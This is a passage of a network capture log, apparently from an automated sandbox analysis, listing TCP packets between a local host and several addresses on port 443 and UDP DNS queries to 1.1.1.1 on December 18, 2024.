Dec 18, 2024 14:54:29.473570108 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.473623991 CET	49744	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:29.473658085 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.473699093 CET	49744	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:29.481189013 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.488851070 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.488922119 CET	49744	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:29.488954067 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.496543884 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.496606112 CET	49744	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:29.496624947 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.504134893 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.504199028 CET	49744	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:29.504225016 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.511859894 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.511929035 CET	49744	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:29.511955023 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.527381897 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.527420044 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.527448893 CET	49744	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:29.527472019 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.527508974 CET	49744	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:29.591155052 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.591169119 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.591186047 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.591198921 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.591207027 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.591229916 CET	49744	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:29.591255903 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.591275930 CET	49744	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:29.591280937 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.591317892 CET	49744	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:29.687457085 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.687469006 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.687514067 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.687566042 CET	49744	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:29.687585115 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.687627077 CET	49744	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:29.714668989 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.714694023 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.714741945 CET	49744	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:29.714771986 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.714787960 CET	49744	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:29.714812994 CET	49744	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:29.718713045 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.718774080 CET	49744	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:29.718780041 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.718810081 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.718813896 CET	49744	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:29.718847990 CET	49744	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:29.718986034 CET	49744	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:29.719002008 CET	443	49744	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.769083023 CET	49743	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:29.815331936 CET	443	49743	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:29.859697104 CET	49745	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:29.859735012 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:29.859808922 CET	49745	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:29.860013008 CET	49745	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:29.860027075 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:30.096378088 CET	443	49743	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:30.096466064 CET	443	49743	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:30.096519947 CET	49743	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:30.097239971 CET	49743	443	192.168.2.16	104.21.32.225
Dec 18, 2024 14:54:30.097259998 CET	443	49743	104.21.32.225	192.168.2.16
Dec 18, 2024 14:54:30.236063957 CET	49747	443	192.168.2.16	35.190.80.1
Dec 18, 2024 14:54:30.236119032 CET	443	49747	35.190.80.1	192.168.2.16
Dec 18, 2024 14:54:30.236191034 CET	49747	443	192.168.2.16	35.190.80.1
Dec 18, 2024 14:54:30.236505985 CET	49747	443	192.168.2.16	35.190.80.1
Dec 18, 2024 14:54:30.236520052 CET	443	49747	35.190.80.1	192.168.2.16
Dec 18, 2024 14:54:31.097336054 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.102916002 CET	49745	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:31.102936029 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.104192972 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.104300022 CET	49745	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:31.107705116 CET	49745	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:31.107804060 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.109836102 CET	49745	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:31.109844923 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.161453009 CET	49745	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:31.474589109 CET	443	49747	35.190.80.1	192.168.2.16
Dec 18, 2024 14:54:31.474940062 CET	49747	443	192.168.2.16	35.190.80.1
Dec 18, 2024 14:54:31.474961042 CET	443	49747	35.190.80.1	192.168.2.16
Dec 18, 2024 14:54:31.476218939 CET	443	49747	35.190.80.1	192.168.2.16
Dec 18, 2024 14:54:31.476315022 CET	49747	443	192.168.2.16	35.190.80.1
Dec 18, 2024 14:54:31.477811098 CET	49747	443	192.168.2.16	35.190.80.1
Dec 18, 2024 14:54:31.477922916 CET	443	49747	35.190.80.1	192.168.2.16
Dec 18, 2024 14:54:31.477996111 CET	49747	443	192.168.2.16	35.190.80.1
Dec 18, 2024 14:54:31.478003979 CET	443	49747	35.190.80.1	192.168.2.16
Dec 18, 2024 14:54:31.527467966 CET	49747	443	192.168.2.16	35.190.80.1
Dec 18, 2024 14:54:31.530179977 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.530477047 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.530508995 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.530538082 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.530548096 CET	49745	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:31.530577898 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.530601025 CET	49745	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:31.538718939 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.538786888 CET	49745	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:31.538794994 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.547117949 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.547249079 CET	49745	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:31.547259092 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.556201935 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.556372881 CET	49745	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:31.556384087 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.607510090 CET	49745	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:31.607564926 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.654491901 CET	49745	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:31.654510975 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.702502012 CET	49745	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:31.769351006 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.769370079 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.769429922 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.769443989 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.769471884 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.769476891 CET	49745	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:31.769511938 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.769546986 CET	49745	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:31.769562960 CET	49745	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:31.814542055 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.814558983 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.814600945 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.814613104 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.814692020 CET	49745	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:31.814729929 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.814747095 CET	49745	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:31.814771891 CET	49745	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:31.929908037 CET	443	49747	35.190.80.1	192.168.2.16
Dec 18, 2024 14:54:31.930006981 CET	443	49747	35.190.80.1	192.168.2.16
Dec 18, 2024 14:54:31.930089951 CET	49747	443	192.168.2.16	35.190.80.1
Dec 18, 2024 14:54:31.930334091 CET	49747	443	192.168.2.16	35.190.80.1
Dec 18, 2024 14:54:31.930358887 CET	443	49747	35.190.80.1	192.168.2.16
Dec 18, 2024 14:54:31.930901051 CET	49748	443	192.168.2.16	35.190.80.1
Dec 18, 2024 14:54:31.930936098 CET	443	49748	35.190.80.1	192.168.2.16
Dec 18, 2024 14:54:31.931045055 CET	49748	443	192.168.2.16	35.190.80.1
Dec 18, 2024 14:54:31.931333065 CET	49748	443	192.168.2.16	35.190.80.1
Dec 18, 2024 14:54:31.931346893 CET	443	49748	35.190.80.1	192.168.2.16
Dec 18, 2024 14:54:31.939460039 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.939472914 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.939517021 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.939584970 CET	49745	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:31.939618111 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.939640045 CET	49745	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:31.939642906 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.939687967 CET	49745	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:31.964410067 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.964436054 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.964497089 CET	49745	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:31.964524031 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.964571953 CET	49745	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:31.980966091 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.981060982 CET	49745	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:31.981071949 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:31.981116056 CET	49745	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:31.981502056 CET	49745	443	192.168.2.16	151.101.66.137
Dec 18, 2024 14:54:31.981523991 CET	443	49745	151.101.66.137	192.168.2.16
Dec 18, 2024 14:54:33.140899897 CET	443	49748	35.190.80.1	192.168.2.16
Dec 18, 2024 14:54:33.141376972 CET	49748	443	192.168.2.16	35.190.80.1
Dec 18, 2024 14:54:33.141396999 CET	443	49748	35.190.80.1	192.168.2.16
Dec 18, 2024 14:54:33.141774893 CET	443	49748	35.190.80.1	192.168.2.16
Dec 18, 2024 14:54:33.142199039 CET	49748	443	192.168.2.16	35.190.80.1
Dec 18, 2024 14:54:33.142257929 CET	49748	443	192.168.2.16	35.190.80.1
Dec 18, 2024 14:54:33.142275095 CET	443	49748	35.190.80.1	192.168.2.16
Dec 18, 2024 14:54:33.142277956 CET	443	49748	35.190.80.1	192.168.2.16
Dec 18, 2024 14:54:33.186623096 CET	49748	443	192.168.2.16	35.190.80.1
Dec 18, 2024 14:54:33.680548906 CET	443	49748	35.190.80.1	192.168.2.16
Dec 18, 2024 14:54:33.680641890 CET	443	49748	35.190.80.1	192.168.2.16
Dec 18, 2024 14:54:33.680965900 CET	49748	443	192.168.2.16	35.190.80.1
Dec 18, 2024 14:54:33.680965900 CET	49748	443	192.168.2.16	35.190.80.1
Dec 18, 2024 14:54:33.985491037 CET	49748	443	192.168.2.16	35.190.80.1
Dec 18, 2024 14:54:33.985517025 CET	443	49748	35.190.80.1	192.168.2.16
Dec 18, 2024 14:54:38.326333046 CET	49750	443	192.168.2.16	142.250.181.132
Dec 18, 2024 14:54:38.326378107 CET	443	49750	142.250.181.132	192.168.2.16
Dec 18, 2024 14:54:38.326544046 CET	49750	443	192.168.2.16	142.250.181.132
Dec 18, 2024 14:54:38.326769114 CET	49750	443	192.168.2.16	142.250.181.132
Dec 18, 2024 14:54:38.326781034 CET	443	49750	142.250.181.132	192.168.2.16
Dec 18, 2024 14:54:40.016757011 CET	443	49750	142.250.181.132	192.168.2.16
Dec 18, 2024 14:54:40.017157078 CET	49750	443	192.168.2.16	142.250.181.132
Dec 18, 2024 14:54:40.017169952 CET	443	49750	142.250.181.132	192.168.2.16
Dec 18, 2024 14:54:40.017539978 CET	443	49750	142.250.181.132	192.168.2.16
Dec 18, 2024 14:54:40.017891884 CET	49750	443	192.168.2.16	142.250.181.132
Dec 18, 2024 14:54:40.017956018 CET	443	49750	142.250.181.132	192.168.2.16
Dec 18, 2024 14:54:40.069475889 CET	49750	443	192.168.2.16	142.250.181.132
Dec 18, 2024 14:54:42.075592995 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:42.075644016 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:42.075726032 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:42.075982094 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:42.075997114 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:43.317235947 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:43.317626953 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:43.317652941 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:43.318766117 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:43.318854094 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:43.319853067 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:43.319951057 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:43.320012093 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:43.363329887 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:43.369489908 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:43.369509935 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:43.417521954 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:43.766619921 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:43.766683102 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:43.766715050 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:43.766747952 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:43.766752005 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:43.766777992 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:43.766793013 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:43.774733067 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:43.774760962 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:43.774790049 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:43.774799109 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:43.774849892 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:43.783003092 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:43.791445017 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:43.791529894 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:43.791541100 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:43.831475973 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:43.886333942 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:43.927547932 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:43.927557945 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:43.962429047 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:43.962531090 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:43.962541103 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:43.970370054 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:43.970448971 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:43.970457077 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:43.978379011 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:43.978454113 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:43.978461027 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:43.986308098 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:43.986387968 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:43.986394882 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:43.994360924 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:43.994518995 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:43.994527102 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.002338886 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.002393007 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:44.002403021 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.010288000 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.010358095 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:44.010389090 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.018377066 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.018449068 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:44.018461943 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.033130884 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.033205986 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:44.033216953 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.033246040 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.033335924 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:44.039653063 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.046322107 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.046365976 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.046386003 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:44.046399117 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.046473026 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:44.052999020 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.103487968 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:44.150495052 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.151956081 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.152029037 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:44.152040958 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.161336899 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.161432028 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:44.161439896 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.166204929 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.166275024 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:44.166280985 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.166321993 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:44.175163984 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.175187111 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.175286055 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:44.175293922 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.175364971 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:44.183743954 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.183763981 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.183839083 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:44.191987038 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.192023039 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.192131042 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:44.200030088 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.200151920 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:44.204665899 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.204777002 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:44.213442087 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.213542938 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:44.220515966 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.220607042 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:44.228591919 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.228667974 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:44.233328104 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.233443022 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:44.240973949 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.241066933 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:44.245060921 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.245129108 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:44.245225906 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.245237112 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:44.245253086 CET	443	49751	104.18.161.117	192.168.2.16
Dec 18, 2024 14:54:44.245275021 CET	49751	443	192.168.2.16	104.18.161.117
Dec 18, 2024 14:54:49.728125095 CET	443	49750	142.250.181.132	192.168.2.16
Dec 18, 2024 14:54:49.728210926 CET	443	49750	142.250.181.132	192.168.2.16
Dec 18, 2024 14:54:49.728291035 CET	49750	443	192.168.2.16	142.250.181.132
Dec 18, 2024 14:54:50.152168036 CET	49750	443	192.168.2.16	142.250.181.132
Dec 18, 2024 14:54:50.152189970 CET	443	49750	142.250.181.132	192.168.2.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 14:53:12.097727060 CET	64893	53	192.168.2.16	1.1.1.1
Dec 18, 2024 14:53:27.092099905 CET	54358	53	192.168.2.16	1.1.1.1
Dec 18, 2024 14:53:33.805058956 CET	53	49203	1.1.1.1	192.168.2.16
Dec 18, 2024 14:53:33.837790012 CET	53	50419	1.1.1.1	192.168.2.16
Dec 18, 2024 14:53:34.013876915 CET	53	60034	1.1.1.1	192.168.2.16
Dec 18, 2024 14:53:36.534053087 CET	52510	53	192.168.2.16	1.1.1.1
Dec 18, 2024 14:53:36.534202099 CET	63914	53	192.168.2.16	1.1.1.1
Dec 18, 2024 14:53:36.643078089 CET	53	59321	1.1.1.1	192.168.2.16
Dec 18, 2024 14:53:36.672509909 CET	53	52510	1.1.1.1	192.168.2.16
Dec 18, 2024 14:53:36.672530890 CET	53	63914	1.1.1.1	192.168.2.16
Dec 18, 2024 14:53:38.276479959 CET	51039	53	192.168.2.16	1.1.1.1
Dec 18, 2024 14:53:38.276648998 CET	53685	53	192.168.2.16	1.1.1.1
Dec 18, 2024 14:53:38.413852930 CET	53	57852	1.1.1.1	192.168.2.16
Dec 18, 2024 14:53:38.414340973 CET	53	51039	1.1.1.1	192.168.2.16
Dec 18, 2024 14:53:38.414375067 CET	53	53685	1.1.1.1	192.168.2.16
Dec 18, 2024 14:53:40.475497961 CET	64417	53	192.168.2.16	1.1.1.1
Dec 18, 2024 14:53:40.475650072 CET	50428	53	192.168.2.16	1.1.1.1
Dec 18, 2024 14:53:40.482225895 CET	64127	53	192.168.2.16	1.1.1.1
Dec 18, 2024 14:53:40.482562065 CET	61917	53	192.168.2.16	1.1.1.1
Dec 18, 2024 14:53:40.612740040 CET	53	50428	1.1.1.1	192.168.2.16
Dec 18, 2024 14:53:40.612768888 CET	53	64417	1.1.1.1	192.168.2.16
Dec 18, 2024 14:53:40.619210958 CET	53	64127	1.1.1.1	192.168.2.16
Dec 18, 2024 14:53:40.619402885 CET	53	61917	1.1.1.1	192.168.2.16
Dec 18, 2024 14:53:53.729414940 CET	53	60873	1.1.1.1	192.168.2.16
Dec 18, 2024 14:53:56.152198076 CET	138	138	192.168.2.16	192.168.2.255
Dec 18, 2024 14:54:12.733252048 CET	53	57473	1.1.1.1	192.168.2.16
Dec 18, 2024 14:54:22.916130066 CET	55312	53	192.168.2.16	1.1.1.1
Dec 18, 2024 14:54:22.916292906 CET	59451	53	192.168.2.16	1.1.1.1
Dec 18, 2024 14:54:23.367674112 CET	53	59451	1.1.1.1	192.168.2.16
Dec 18, 2024 14:54:23.368005037 CET	53	55312	1.1.1.1	192.168.2.16
Dec 18, 2024 14:54:27.452641010 CET	60658	53	192.168.2.16	1.1.1.1
Dec 18, 2024 14:54:27.452788115 CET	59482	53	192.168.2.16	1.1.1.1
Dec 18, 2024 14:54:27.590034962 CET	53	59482	1.1.1.1	192.168.2.16
Dec 18, 2024 14:54:27.593142986 CET	53	60658	1.1.1.1	192.168.2.16
Dec 18, 2024 14:54:29.721910000 CET	57802	53	192.168.2.16	1.1.1.1
Dec 18, 2024 14:54:29.722104073 CET	56746	53	192.168.2.16	1.1.1.1
